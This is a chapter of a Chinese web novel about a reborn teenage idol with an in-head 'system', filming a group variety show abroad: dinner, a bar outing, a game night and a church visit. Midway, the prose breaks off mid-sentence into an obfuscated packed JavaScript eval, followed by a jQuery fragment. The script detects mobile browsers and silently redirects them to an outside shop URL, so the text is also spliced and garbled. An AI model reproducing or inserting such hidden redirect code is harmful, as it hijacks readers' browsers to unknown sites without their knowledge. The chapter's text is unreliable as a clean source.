晚饭煮得很丰盛,光是厨子就有五个人,他们切菜洗菜煮菜弄得框框响,尺绫不怎么会煮饭,于是他坐到一边去看电视。

    小A坐过来,抱着抱枕,“尺绫,这电视是英语的,你看得懂啊?”

    尺绫看着电视,手握遥控器,稍稍犹豫了一帧,回答:“看不懂。”

    【尺皇又在说假话了】

    【就凭他刚刚在超市的表现我就不信他这句话】

    【不过《变形人生》的时候尺皇的英语水平确实不怎么好】

    饭菜端上餐桌。由于没有电饭煲,他们今晚的主食是意面,菜式倒还是国内菜那款式,讲究一个热气腾腾。

    不过他们这八个人都来自五湖四海,光是一人做一个菜,都跨越了大半个国土了。

    饭桌是长方形的,小A心细,知道尺绫不怎么吃红肉,特地把青菜端到他面前。容姚还做了一个很有当地特色的沙拉,尺绫扒拉了不少,很爱吃。

    洗完碗之后,他们就筹备去酒吧了。文州说自己未成年去了也没意思,留在民宿里打游戏,容姚也还没倒完时差,身体有点不适,黎修说留下来看一看家……剩到最后,只有四个人出发。

    卓云山开着车,载着向晓、施齐青、尺绫三个人,跟着国内的攻略找了一家当地有名的清吧。

    一进去,霓虹灯的绚烂就扑面而来,里面人不少,台阶式的上下两层都快坐满了。他们挑了一个地方,先行坐下。

    去酒吧这一段摄像师没有跟拍,毕竟不是什么值得宣扬的事。

    几个人陆续用蹩脚的英语点完了自己想要的酒,轮到尺绫的时候,尺绫也用英语说想喝杯鸡尾酒,还没完全出口,他就被好几只手叫停了。

    由于他是未成年,其他成员不允许他饮用酒精,他只好点一杯果汁。

    卓云山和向晓时常都混在一起,他们到露台边上坐着看风景。而施齐青和他坐在一起,都在室内的小圆桌旁。他们不太熟,无论是这一世还是上一世,但总不至于没话说的程度。

    “你怎么好像突然喜欢喝酒了。”施齐青问,“我记得你在营里都不喝酒。”

    尺绫欠身喝着饮料,被问道时,垂下眼眉,“啊,这个啊……”

    他出口很轻,轻得有点像刻意的心虚逃避,“我哥叫我练一下喝酒。”

    真相当然不是这个,他带着上一世的记忆回来,也带着上一世最后时光的习惯。尽管他也承认酒不是个好东西,也没多好喝,但他还是抗拒不了心理上的上瘾。

    施齐青看了他一眼,没有追问。他端起自己那杯酒喝了一口,视线落在吧台后方那排发光的酒瓶上,像是在等尺绫自己多说一句。

    尺绫没有多说。他低头喝自己的果汁,吸管在杯底搅了一圈,冰块碰着杯壁发出轻微的声响。

    过了一会儿,施齐青开口了:“你之前说你想考市一中。”

    “嗯。”

    “那你出来拍团综,复习怎么办。”

    尺绫抬起头看了他一眼。施齐青的表情很平,不像在关心,也不像在试探,更像是在陈述一个他注意到的事实。

    “带卷子了,”尺绫说。

    “你白天拍摄晚上做题?”

    “看时间。”

    施齐青没有再说话。他端着酒杯,靠回椅背里,目光移向露台方向卓云山和向晓的背影。夜风从门口灌进来,卷着一阵淡淡的烟草味和远处街道的喧哗声。尺绫也不说话,继续喝他的果汁。两个人就这么并排坐着,中间隔着一个座位的距离,谁也没往对方那边挪一点,但也没有人离开。

    大概过了十来分钟,施齐青忽然站起来:“回去了。”

    尺绫抬头:“现在?”

    “明天八点开拍,我们待久了会睡过头。”施齐青看了看露台方向——卓云山和向晓正在那里举着手机拍夜景,手中的酒杯已经空得差不多了。

    四个人一起走出酒吧。夜风比来的时候凉了一些,街道上空荡荡的,路灯把五个人的影子拉得很长又缩短,再拉长。卓云山走在最前面,向晓在旁边低声和他说着什么,施齐青走在尺绫左边,两个人之间隔了半步的距离,谁也没说话。

    走到停车的地方,卓云山解锁车门,把钥匙给陪同的摄像师,尺绫拉开后排门坐进去。车门关上的时候,外面的声音被隔了一大半,只剩引擎启动的低鸣。他靠在座椅上,车窗外的街景缓慢地往后退,霓虹灯的光在他的脸上滑过又滑走,像是某种他在上一世很熟悉、但这一世很少遇到的东西。

    他闭上眼。

    车开回民宿的时候,客厅灯还亮着。文州听到动静从沙发上跳起来:“回来了?!你们真去喝酒了?尺绫你喝了没?”

    “果汁。”尺绫说。

    文州“啧”了一声:“你果然还是不会喝酒。”

    尺绫没理他,上了楼梯。走到三楼的时候,他在楼梯口站了一下,转头看了一眼楼下,文州和卓云山在讨论明天要穿什么衣服,小A正蹲在行李箱旁边找充电器,施齐青站在厨房喝水,背对着客厅。

    他收回目光,推开阁楼的门,关上了。

    “ayi,”他喊。

    在没有人的环境下使用系统,他明显放松很多,“查询实时数据。”

    【在的宿主,现为你查询实时面板数据】

    【健康:53/100】

    【智商:89/100】

    【人脉:16/100】

    【人气:35/100】

    【压力:77/100】

    【寿命:剩余一年零三个月】

    这是他第一次使用查询面板数据,首次直观感受到自己被量化成数据。他没有询问健康和智商,而是关注到压力一栏,他问:“压力值过高会怎么样?”

    【你好宿主,压力值过高会导致出现幻觉、幻听乃至引发心理疾病,您目前的压力值已经很高了,建议适当娱乐】

    尺绫想不到有什么可以娱乐自己的方法,他让ayi帮他调出百来道偏简单的速算题,然后在脑海中进行速算,几十道题过去后,系统显示他的压力值上涨了1点。

    他停止做题。

    忽地,门口响了一响,文州上来敲门:“尺绫,你打游戏不?我们差一个人。”

    尺绫去开门,文州正拿着手机,火急火燎地找他,“快来打游戏,就差你了。”

    尺绫手机都还没下载那个游戏,文州说不是吧你居然不玩,这个游戏可是风靡全球的,是个人都听过。

    尺绫确实听过,不过那是上辈子的事情了。文州拿过他手机帮他下载,不过外国网有点慢,等了好一会儿。他一边下载一边下楼,看到大家都在客厅沙发上坐着。

    正在刷手机的施齐青抬了抬眼,直起身,犹豫着出口:“你不是要……”

    尺绫知道他说的是中考复习的事,他应了一句:“做完了。”便也跟着坐到沙发上,这时候游戏下好了。

    文州很兴奋,“你别怕,有我带着你,保准起飞。”

    他在文州的指导下选了个最简单的角色,接着就被拉入团队赛。游戏开始,客厅里同时发出5个一样的声音。

    文州为了让尺绫玩得爽,一直跟在尺绫后面,看上去就像在蹦蹦跳跳,“欸欸欸,你记得买装备。不要走偏了,我们就守这路。”

    对方迎面过来了,开启了技能。尺绫默默地操纵着,而文州依旧活蹦乱跳,技能是一下一下的闪,把对方打得只剩个残血。

    “尺绫快追,我没技能了。”

    尺绫没追上去。

    文州没办法,只好原谅他。就在他冲上去拆塔的时候,忽地一连套大招打过来带走了文州。对方突然冒出了一个人偷袭他们。

    文州死了。尺绫一连套操作带走了偷袭文州的那个人。

    文州愣了。“你打得还挺上手的。”

    尺绫没出声。要知道,上一辈子尺绫快高考时,文州还特地来学校找他打游戏,他不熟手是不可能的。

    接着又是激烈的一番对战,打到最后的时候,尺绫很自觉地在原地守家,其他人进攻对方的家园。就在千钧一发之际,尺绫被打死了,同时,对方的家园也被攻下了。

    尺绫放下手机。

    他“首战”的表现十分优异,甚至超过了文州,大家说还打吗,几个人都说累了,于是这场战役到此结束。

    文州继续自己一个人打,尺绫上楼,脚步趿趿声踩上实木楼梯的时候,系统突然冒出来一句:【宿主,您的压力值下降了5点】

    虽然尺绫并没感受到什么快感,但他接受这个结

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17949077|214116||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    果。

    他回到床上,坐了一会儿后,然后躺下来。他开始想这些天的经历,上辈子的事情依旧历历在目,这些日子恍惚得就像个梦,踩在脚底跟躺在床上一样,轻飘飘的。

    他倚在枕头上,侧侧头,看了看手机。这个时间哥哥已经睡了,并没发来消息。

    他盯着手机时间看一会儿,睡着了。

    第二天早上尺绫是被鸟叫醒的。声音很近,像是就在窗外。他坐起来,窗台上落着一只灰褐色的鸟,胸脯是浅黄色的,歪着头看了他一眼,然后扑棱一下飞走了。

    他看了一眼手机,六点半。楼下还在倒时差的众人已经有动静了,厨房方向传来锅碗碰撞的声音,还有文州含糊的抱怨声:“谁把牛奶放冷冻层了……”

    尺绫洗漱完下楼。厨房里文州正对着一个冻成冰块的牛奶盒发愁,容姚在切面包,卓云山坐在餐桌边喝咖啡,面前的笔记本屏幕上是一份打开的文档,标题是“RAY团综拍摄日程·第二天”。

    施齐青在玩手机,坐在了个不显眼的位置。

    尺绫在施齐青斜对面坐下。施齐青抬头看了他一眼,把手机屏幕敛了敛,什么也没说。

    尺绫看到了今天的时间表:上午去逛教堂,下午小镇街拍,晚上自由活动。时间表很紧凑,密密麻麻地排满了格子。

    “今天天气怎么样。”向晓走过来问。

    “很好,天气晴朗。”卓云山拿起手机看了一眼。

    “今天还是你开车过去么?”向晓拿起一块面包塞到嘴里。

    “行啊。”卓云山没有拒绝。

    简单吃完早餐后,尺绫上楼拿了一件外套,大家就出发了。行车十来分钟,终于抵达小镇上。今天的第一个目的地:圣诺大教堂。

    它比尺绫想象中要大。灰白色的石墙在晴天里泛着干燥的暖光。正面是两座方形的钟楼,一左一右。中间是一扇巨大的圆形玫瑰窗,彩色的玻璃在的光线里显得绚烂。窗户下方是一排拱门,门是深色的木头,上面钉着铁质的铰链,锈迹从钉孔边缘渗出来,像暗红的泪痕。

    门开着。他们走进去。光线骤然暗了下来。

    教堂内部比外面看上去更空旷。高高的拱顶撑出一片幽暗的空间,空气又冷又静,带着石料和陈年木头的气味。两侧的立柱粗壮而朴素,没有太多雕饰,只是笔直地立着。地面是石板铺的,有些地方已经被脚步磨得发亮,在昏暗的光线里泛着微弱的油润光泽。

    文州略带兴奋地跨步上前去。前方是一排排深色的木制长椅,椅背被岁月磨出了弧度。墙壁上有几幅褪色的壁画,颜色已经吃进了石头里,只剩一些模糊的轮廓,像是人形的影子。

    尺绫走在队伍最后面。他的目光从壁画上扫过,又落在那些柱子上,最后落到前方的十字架上。教堂悬挂着一座巨大的十字架,被漆屠城了白色,表面有细密的裂纹。光线从高处侧面的窗子里漏进来,斜斜地打在十字架上,把它身后那面墙照得发白,冷静又肃穆。

    其他人已经开始拍照了。文州举着手机绕着柱子转圈,向晓靠在墙边让卓云山帮他拍一张“有氛围感”的侧脸,施齐青和容姚在看着壁画。

    尺绫一个人往前走。他的脚步很轻,石板地面没有发出声响。他穿过那些长椅之间的过道,一直走到祭坛前才停下来。他站在正中央,面对着那个十字架。光线从他的背后落下来,在地面上投出一片模糊的影子。

    他站了一会儿,抬着头,看着十字架上的刻痕。

    文州从柱子后面探出头来,举着手机朝他喊:“尺绫,你站过来一点,我给你拍一张。”

    尺绫没有动,回了一下头。

    文州趁机按下了快门键。他立马点开图片看,只见尺绫站在教堂正中央,身后是巨大静默的十字架,他回着头,姿势很明显是抓拍的,然而眼神里带着一股沉静,似乎在看着,又似乎不在看着。他的影子和十字架的影子重叠了,看起来就像是——

    被钉在了十字架上。

    文州看着这张构图及其丰富的照片,捂了捂嘴,感觉拍得极其美妙,同时又有一点不吉利。他始终感觉不太好,连忙又说:“你快站好,我给你重新拍……”

    而尺绫姿势不动,仍站在那儿,压了压颔:

    “我不信鬼神。”